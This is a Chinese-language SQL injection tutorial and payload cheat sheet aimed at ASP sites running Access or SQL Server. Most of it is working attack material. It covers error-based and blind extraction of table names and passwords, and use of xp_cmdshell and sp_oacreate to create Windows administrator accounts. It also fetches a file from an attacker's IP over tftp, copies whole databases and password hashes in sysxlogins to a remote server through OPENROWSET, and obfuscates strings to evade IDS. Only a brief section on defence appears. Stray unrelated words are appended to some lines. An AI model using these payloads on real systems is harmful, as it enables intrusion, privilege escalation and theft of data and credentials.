sql注入(從入門到進階)

 

隨着B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也愈來愈多。可是因爲這個行業的入門門檻不高,程序員的水平及經驗也良莠不齊,至關大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶能夠提交一段數據庫查詢代碼,根據程序返回的結果,得到某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
SQL注入是從正常的WWW端口訪問,並且表面看起來跟通常的Web頁面訪問沒什麼區別,因此目前市面的防火牆都不會對SQL注入發出警報,若是管理員沒查看IIS日誌的習慣,可能被入侵很長時間都不會發覺。
可是,SQL注入的手法至關靈活,在注入的時候會碰到不少意外的狀況。能不能根據具體狀況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與「菜鳥」的根本區別。
根據國情,國內的網站用ASP+Access或SQLServer的佔70%以上,PHP+MySQ佔L20%,其餘的不足10%。在本文,咱們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯盟的另外一位朋友zwell撰寫,但願對安全工做者和程序員都有用處。瞭解 ASP注入的朋友也請不要跳過入門篇,由於部分人對注入的基本判斷方法還存在誤區。你們準備好了嗎?Let's Go... 程序員

入 門 篇 web

若是你之前沒試過SQL注入的話,那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。不然,不論服務器返回什麼錯誤,IE都只顯示爲HTTP 500服務器錯誤,不能得到更多的提示信息。 sql

第一節、SQL注入原理
如下咱們從一個網站www.mytest.com開始(注:本文發表前已徵得該站站長贊成,大部分都是真實數據)shell

在網站首頁上,有名爲「IE不能打開新窗口的多種解決方法」的連接,地址爲:http://www.mytest.com/showdetail.asp?id=49,咱們在這個地址後面加上單引號’,服務器會返回下面的錯誤提示:
Microsoft JET Database Engine 錯誤 '80040e14' 數據庫

字符串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp,行8 windows

從這個錯誤提示咱們能看出下面幾點:
1. 網站使用的是Access數據庫,經過JET引擎鏈接數據庫,而不是經過ODBC。
2. 程序沒有判斷客戶端提交的數據是否符合程序要求。
3. 該SQL語句所查詢的表中有一名爲ID的字段。
從上面的例子咱們能夠知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到獲得的資料。 安全

第二節、判斷可否進行SQL注入 服務器

看完第一節,有一些人會以爲:我也是常常這樣測試可否注入的,這不是很簡單嗎?
其實,這並非最好的方法,爲何呢?
首先,不必定每臺服務器的IIS都返回具體錯誤提示給客戶端,若是程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器一樣會報錯,具體提示信息爲處理 URL 時服務器上出錯。請和系統管理員聯絡。
其次,部分對SQL注入有一點了解的程序員,認爲只要把單引號過濾掉就安全了,這種狀況不爲少數,若是你用單引號測試,是測不到注入點的。
那麼,什麼樣的測試方法纔是比較準確呢?答案以下:
① http://www.mytest.com/showdetail.asp?id=49
② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
這就是經典的1=一、1=2測試法了,怎麼判斷呢?看看上面三個網址返回的結果就知道了:
能夠注入的表現:
① 正常顯示(這是必然的,否則就是程序有錯誤了)
② 正常顯示,內容基本與①相同
③ 提示BOF或EOF(程序沒作任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容爲空(程序加了on error resume next)
不能夠注入就比較容易判斷了,①一樣正常顯示,②和③通常都會有程序定義的錯誤提示,或提示類型轉換時出錯。
固然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字符型和搜索型參數,我將在中級篇的「SQL注入通常步驟」再作分析。 網絡

第三節、判斷數據庫類型及注入方法 app

不一樣的數據庫的函數、注入方法都是有差別的,因此在注入以前,咱們還要判斷一下數據庫的類型。通常ASP最常搭配的數據庫是Access和SQLServer,網上超過99%的網站都是其中之一。
怎麼讓程序告訴你它使用的什麼數據庫呢?來看看:
SQLServer有一些系統變量,若是服務器IIS提示沒關閉,而且SQLServer返回錯誤提示的話,那能夠直接從出錯信息獲取,方法以下:
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我本身也是在一次無心的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,咱們知道,user是SQLServer的一個內置變量,它的值是當前鏈接的用戶名,類型爲nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,固然,轉的過程當中確定會出錯,SQLServer的出錯提示是:將nvarchar值 」abc」 轉換數據類型爲 int 的列時發生語法錯誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。在之後的篇幅裏,你們會看到不少用這種方法的語句。
順便說幾句,衆所周知,SQLServer的用戶sa是個等同Adminstrators權限的角色,拿到了sa權限,幾乎確定能夠拿到主機的 Administrator了。上面的方法能夠很方便的測試出是不是用sa登陸,要注意的是:若是是sa登陸,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。
若是服務器IIS不容許返回錯誤提示,那怎麼判斷數據庫類型呢?咱們能夠從Access和SQLServer和區別入手,Access和 SQLServer都有本身的系統表,好比存放數據庫中全部對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示「沒有權限」,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。
在確承認以注入的狀況下,使用下面的語句:
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
若是數據庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大體相同的;而第二個網址,因爲找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面徹底不一樣。
若是數據庫用的是Access,那麼狀況就有所不一樣,第一個網址的頁面與原頁面徹底不一樣;第二個網址,則視乎數據庫設置是否容許讀該系統表,通常來講是不容許的,因此與原網址也是徹底不一樣。大多數狀況下,用第一個網址就能夠得知系統所用的數據庫類型,第二個網址只做爲開啓IIS錯誤提示時的驗證。

進 階 篇

在入門篇,咱們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,咱們就繼續學習如何從數據庫中獲取想要得到的內容,首先,咱們先看看SQL注入的通常步驟:
第一節、SQL注入的通常步驟

首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。
其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分爲下面三種:
(A) ID=49 這類注入的參數是數字型,SQL語句原貌大體以下:
Select * from 表名 where 字段=49
注入的參數爲ID=49 And [查詢條件],便是生成語句:
Select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大體概以下:
Select * from 表名 where 字段=’連續劇’
注入的參數爲Class=連續劇’ and [查詢條件] and ‘’=’ ,便是生成語句:
Select * from 表名 where 字段=’連續劇’ and [查詢條件] and ‘’=’’
© 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大體以下:
Select * from 表名 where 字段like ’%關鍵字%’
注入的參數爲keyword=’ and [查詢條件] and ‘%25’=’, 便是生成語句:
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’
接着,將查詢條件替換成SQL語句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
若是頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名爲止。
表名猜出來後,將Count(*)替換成Count(字段名),用一樣的原理猜解字段名。
有人會說:這裏有一些偶然的成分,若是表名起得很複雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,不管多技術多高深的黑客,都是由於別人的程序寫得不嚴密或使用者保密意識不夠,纔有得下手。
有點跑題了,話說回來,對於SQLServer的庫,仍是有辦法讓程序告訴咱們表名及字段名的,咱們在高級篇中會作介紹。
最後,在表名和列名猜解成功後,再使用SQL語句,得出字段的值,下面介紹一種最經常使用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但確定是可行的方法。
咱們舉個例子,已知表Admin中存在username字段,首先,咱們取第一條記錄,測試長度:
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先說明原理:若是top 1的username長度大於0,則條件成立;接着就是>一、>二、>3這樣測試下去,一直到條件不成立爲止,好比>7成立,>8不成立,就是len(username)=8
固然沒人會笨得從0,1,2,3一個個測試,怎麼樣才比較快就看各自發揮了。在獲得username的長度後,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))獲得ASCII碼,好比:
id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0
一樣也是用逐步縮小範圍的方法獲得第1位字符的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,能夠用折半法加速猜解,若是寫成程序測試,效率會有極大的提升。

第二節、SQL注入經常使用函數

有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高不少。咱們有必要提升一下本身的SQL水平,特別是一些經常使用的函數及命令。
Access:asc(字符) SQLServer:unicode(字符)
做用:返回某字符的ASCII碼
Access:chr(數字) SQLServer:nchar(數字)
做用:與asc相反,根據ASCII碼返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
做用:返回字符串從N個字符起長度爲L的子字符串,即N到N+L之間的字符串
Access:abc(數字) SQLServer:abc (數字)
做用:返回數字的絕對值(在猜解漢字的時候會用到)
Access:A between B And C SQLServer:A between B And C
做用:判斷A是否界於B與C之間

第三節、中文處理方法

在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼有所瞭解,「中文恐懼症」很快能夠克服。
先說一點常識:
Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字符不變。
SQLServer中,中文的ASCII爲正數,但因爲是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字符。
瞭解了上面的兩點後,是否是以爲中文猜解其實也跟英文差很少呢?除了使用的函數要注意、猜解範圍大一點外,方法是沒什麼兩樣的。

高 級 篇

看完入門篇和進階篇後,稍加練習,破解通常的網站是沒問題了。但若是碰到表名列名猜不到,或程序做者過濾了一些特殊字符,怎麼提升注入的成功率?怎麼樣提升猜解效率?請你們接着往下看高級篇。

第一節、利用系統表注入SQLServer數據庫

SQLServer是一個功能強大的數據庫系統,與操做系統也有緊密的聯繫,這給開發者帶來了很大的方便,但另外一方面,也爲注入者提供了一個跳板,咱們先來看看幾個具體的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell 「net user name password /add」--
分號;在SQLServer中表示隔開先後兩句語句,--表示後面的語句爲註釋,因此,這句語句在SQLServer中將被分紅兩句執行,先是Select出ID=1的記錄,而後執行存儲過程xp_cmdshell,這個存儲過程用於調用系統命令,因而,用net命令新建了用戶名爲name、密碼爲password的windows的賬號,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell 「net localgroup name administrators /add」--
將新建的賬號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!固然,這種方法只適用於用sa鏈接數據庫的狀況,不然,是沒有權限調用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;and db_name()>0
前面有個相似的例子and user>0,做用是獲取鏈接用戶名,db_name()是另外一個系統變量,返回的是鏈接的數據庫名。
④ http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:\inetpub\wwwroot\1.db’;--
這是至關狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,全部的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還能夠備份到網絡地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面說過,sysobjects是SQLServer的系統表,存儲着全部的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶創建的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第2、第三個表名怎麼獲取?仍是留給咱們聰明的讀者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名後,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)表明該表的第1個字段名,將1換成2,3,4...就能夠逐個獲取所猜解表裏面的字段名。
以上6點是我研究SQLServer注入半年多以來的心血結晶,能夠看出,對SQLServer的瞭解程度,直接影響着成功率及猜解速度。在我研究SQLServer注入以後,我在開發方面的水平也獲得很大的提升,呵呵,也許安全與開發原本就是相輔相成的吧。

第二節、繞過程序限制繼續注入

在入門篇提到,有不少人喜歡用’號測試注入漏洞,因此也有不少人用過濾’號的方法來「防止」注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,仍是能夠利用相關的函數,達到繞過程序限制的目的。
在「SQL注入的通常步驟」一節中,我所用的語句,都是通過我優化,讓其不包含有單引號的;在「利用系統表注入SQLServer數據庫」中,有些語句包含有’號,咱們舉個例子來看看怎麼改造這些語句:
簡單的如where xtype=’U’,字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替;若是字符是中文的,好比where name=’用戶’,能夠用where name=nchar(29992)+nchar(25143)代替。

第三節、經驗小結
1.有些人會過濾Select、Update、Delete這些關鍵字,但恰恰忘記區分大小寫,因此你們能夠用selecT這樣嘗試一下。

2.在猜不到字段名時,不妨看看網站上的登陸表單,通常爲了方便起見,字段名都與表單的輸入框取相同的名字。
3.特別注意:地址欄的+號傳入程序後解釋爲空格,%2B解釋爲+號,%25解釋爲%號,具體能夠參考URLEncode的相關介紹。
4.用Get方法注入時,IIS會記錄你全部的提交字符串,對Post方法作則不記錄,因此能用Post的網址儘可能不用Get。
5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也能夠用這種方法,只須要二者之間的區別便可,可是若是能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提升。

防 範 方 法
SQL注入漏洞可謂是「千里之堤,潰於蟻穴」,這種漏洞在網上極爲廣泛,一般是因爲程序員對注入不瞭解,或者程序過濾不嚴格,或者某個參數忘記檢查致使。在這裏,我給你們一個函數,代替ASP中的Request函數,能夠對一切的SQL注入Say NO,函數以下:

Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字符型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數爲字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須爲數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
文章到這裏就結束了,無論你是安全人員、技術愛好者仍是程序員,我都但願本文能對你有所幫助。


orgSql注射總結(早源於'or'1'='1)

最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
固然還有不少啦哦 這就看你本身在實際操做中的應用啦!:)

最重要的一些用戶名(默認sql數據庫中存在着的)
public
dbo
guest(通常禁止,或者沒權限)
db_sercurityadmin
ab_dlladmin

一些默認擴展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅動器相關
xp_dirtree 目錄
xp_enumdsn ODBC鏈接
xp_loginconfig 服務器安全模式信息
xp_makecab 建立壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進程,給出一個PID

例如:
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
構造語句:查詢是否存在xp_cmdshell

' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判斷sa權限是否
and 0<>(select top 1 paths from newtable)-- 暴庫大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 獲得庫名(從1到5都是系統的id,6以上才能夠判斷)
建立一個虛擬目錄E盤:

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認 Web 站點" -v "e","e:\"'
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 獲得更多的數據庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設爲 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來獲得其餘的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的數值假設爲18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 獲得一個admin的一個字段,假設爲 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其餘的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 能夠獲得用戶名
依次能夠獲得密碼。。。。。假設存在user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union語句處處風靡啊,access也好用
暴庫特殊技巧::%5c='\' 或者把/和\ 修改%5提交

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 獲得表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 全部字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
http://61.131.96.39/PageShow.asp?TianName=政策法規&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
獲得了web路徑d:\xxxx,接下來:

http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
傳統的存在xp_cmdshell的測試過程:

;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
若是被限制則能夠。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
傳統查詢構造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
說明:
上面的語句是獲得數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。
經過查看ffff的用戶資料可得第一個用表叫ad
而後根據表名ad獲得這個表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面這樣就能夠獲得第二個表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴展存儲就能夠經過通常的方法調用:
exec xp_webserver
一旦這個擴展存儲執行過,能夠這樣刪除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //爲access數據庫

-----------------------------------------------------------一般注射的一些介紹:
A) ID=49 這類注入的參數是數字型,SQL語句原貌大體以下:
select * from 表名 where 字段=49
注入的參數爲ID=49 And [查詢條件],便是生成語句:
select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大體概以下:
select * from 表名 where 字段='連續劇'
注入的參數爲Class=連續劇' and [查詢條件] and ''=' ,便是生成語句:
select * from 表名 where 字段='連續劇' and [查詢條件] and ''=''
(C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大體以下:
select * from 表名 where 字段like '%關鍵字%'
注入的參數爲keyword=' and [查詢條件] and '%25'=', 便是生成語句:
select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統表,存儲着全部的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶創建的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名後,用object_id('表名')獲取表名對應的內部ID,col_name(表名ID,1)表明該表的第1個字段名,將1換成2,3,4...就能夠逐個獲取所猜解表裏面的字段名。

post.htm內容:主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚舉出他的數據表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個表名更新到aaa的字段處。
讀出第一個表,第二個表能夠這樣讀出來(在條件後加上 and name<>'剛纔獲得的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
而後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有爲止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
而後id=1552 and exists(select * from aaa where aaa>5)出錯,獲得字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
而後id=1552 and exists(select * from aaa where aaa>5)出錯,獲得字段名
--------------------------------高級技巧:
[得到數據表名][將字段值更新爲表名,再想法讀出這個字段的值就可獲得表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你獲得的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
經過SQLSERVER注入漏洞建數據庫管理員賬號和系統管理員賬號[當前賬號必須是SYSADMIN組]
[得到數據表字段名][將字段值更新爲字段名,再想法讀出這個字段的值就可獲得字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]
繞過IDS的檢測[使用變量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
一、 開啓遠程數據庫

基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數: (1) OLEDB Provider name
二、 其中鏈接字符串參數能夠是任何和端口用來鏈接,好比
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
要複製目標主機的整個數據庫,首先要在目標主機上和本身機器上的數據庫創建鏈接(如何在目標主機上創建遠程鏈接,剛纔已經講了),以後insert全部遠程表到本地表。

基本語法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的全部數據複製到遠程數據庫中的table1表中。實際運用中適當修改鏈接字符串的IP地址和端口,指向須要的地方,好比:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns
以後,即可以從本地數據庫中看到目標主機的庫結構,這已經易如反掌,很少講,複製數據庫:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......

三、 復四、 制哈西表(HASH)
這其實是上述復五、 制數據庫的一個擴展應用。登陸密碼的hash存儲於sysxlogins中。方法以下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
獲得hash以後,六、 就能夠進行暴力破解。這須要一點運氣和大量時間。

遍歷目錄的方法:
先建立一個臨時表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 得到子目錄列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 得到全部子目錄的目錄樹結構,並寸入temp表中
